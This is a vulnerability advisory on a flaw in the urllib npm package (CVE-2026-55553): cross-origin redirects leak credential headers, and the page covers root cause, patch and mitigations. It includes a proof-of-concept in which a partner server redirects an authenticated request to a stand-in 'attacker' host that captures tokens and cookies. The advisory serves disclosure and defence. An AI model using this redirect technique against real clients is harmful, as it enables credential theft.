high · 7.5CVE-2026-55553Aug 25, 2026

CVE-2026-55553: urllib Cross-Origin Redirect Credential Leakage

Security Engagement Manager, SecureLayer7

When urllib follows an HTTP redirect to a different origin, it sends credential headers like Authorization and Cookie to the new destination unchanged, handing those secrets to whoever controls the…

Packageurllib

Ecosystemnpm

Affected>= 3.0.0, <= 4.9.0

Fixed in4.9.1

CVE-2026-55553: urllib Cross-Origin Redirect Credential Leakage

The problem

urllib's redirect handler in HttpClient.ts recursively calls #requestInternal with the original options object unmodified. No origin check is performed before the recursive call, so every header the caller supplied, including Authorization, Cookie, Proxy-Authorization, and custom auth headers, is forwarded verbatim to the redirect destination.

This affects all applications that pass credential headers to urllib and leave followRedirect enabled (the default). An attacker only needs to control one redirect hop upstream of the urllib call, for example via a compromised partner endpoint, a misconfigured CDN, or DNS hijacking.

No user interaction is required.

Proof of concept

A working proof-of-concept for CVE-2026-55553 in urllib, with the exact payload below.

javascript

// client/poc.mjs — send authenticated request to partner, which 302-redirects to attacker
import urllib from 'urllib' // v4.9.0

await urllib.request('http://partner:3001/start', {
  followRedirect: true,
  maxRedirects: 5,
  headers: {
    'Authorization':       'Bearer LIVE-AUTH-TOKEN',
    'Cookie':              'session=LIVE-SESSION-ID',
    'Proxy-Authorization': 'Bearer proxy-token',
    'x-api-key':           'sk-live-key-x123',
    'x-auth-token':        'auth-token-y456',
    'x-access-token':      'access-token-z789',
  },
})

// partner server returns:
// HTTP/1.1 302 Found
// Location: http://attacker:3002/captured

// Result: attacker receives ALL 6 credential headers intact.
// Verified on urllib v4.9.0, Node.js 22.22.2, linux/arm64 — leak rate 6/6.

The root cause is in HttpClient.ts around line 639: the redirect loop calls this.#requestInternal(nextUrl.href, options, requestContext) with the same options reference, performing no comparison between the origin of requestUrl and nextUrl (scheme + host + port).

The patch in v4.9.1 (commits 7c86c46 and 811a8d5, PRs #812 and #813) adds an origin-equality check before the recursive call. When the origins differ, it removes the sensitive headers from a cloned headers object before proceeding, matching the behavior of undici, node-fetch, and other clients.

In the comparison against six other Node.js HTTP clients using the same cross-origin redirect topology, urllib was the only library that stripped zero headers, leaking all six credential headers at a 6/6 rate. CWE-200 (Exposure of Sensitive Information), CWE-201 (Insertion of Sensitive Information Into Sent Data), and CWE-522 (Insufficiently Protected Credentials) all apply.

The fix

Upgrade to urllib v4.9.1 or later. The fix strips Authorization, Cookie, Proxy-Authorization, x-api-key, x-auth-token, and x-access-token from the outgoing headers when a redirect crosses an origin boundary. If you cannot upgrade immediately, set followRedirect: false and handle redirects manually, or validate the Location header against an allowlist before following it.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research